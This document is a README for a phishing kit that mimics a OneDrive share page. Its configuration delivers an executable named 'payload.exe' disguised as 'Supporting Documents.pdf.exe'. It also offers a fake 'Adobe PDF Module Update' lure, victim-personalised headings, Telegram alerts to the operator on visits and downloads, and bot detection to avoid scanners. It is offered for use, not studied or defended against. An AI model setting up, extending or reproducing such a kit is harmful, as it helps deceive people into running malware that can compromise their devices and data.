# OneShare – OneDrive-style landing page

OneDrive-themed landing page with configurable share name and document name. Supports Telegram notifications, visit/download tracking, and bot detection.

## Config (`config.json`)

```json
{
  "telegram": {
    "bot_token": "YOUR_BOT_TOKEN_HERE",
    "chat_id": "YOUR_CHAT_ID_HERE"
  },
  "download": {
    "use_local": true,
    "local_filename": "payload.exe",
    "external_url": ""
  },
  "redirect": {
    "with_email_hash": ""
  },
  "landing": {
    "share_by_name": "Adam",
    "document_name": "Supporting Documents.pdf",
    "personalized_suffix": "QuickBooks summary",
    "download_filename": "Supporting Documents.pdf.exe"
  }
}
```

### Landing options

- **share_by_name** – Shown as "Shared by {name}" (e.g. "Adam" → "Shared by Adam")
- **document_name** – Document title when no `?name` param (e.g. "Supporting Documents.pdf")
- **personalized_suffix** – When `?name=John`, heading becomes "John's {suffix}.pdf" (e.g. "QuickBooks summary")
- **download_filename** – Fallback filename when downloading
- **update_filename** – Filename for the "Adobe PDF Module Update" (e.g. "Adobe PDF Module Update.exe")

### URL parameters

- `?name=John` – Personalizes heading to "John's {personalized_suffix}.pdf"

## Setup

1. Copy your payload to `uploads/` and set `local_filename` in config.
2. Or set `external_url` for an external download link.
3. Configure Telegram for visit/download notifications.
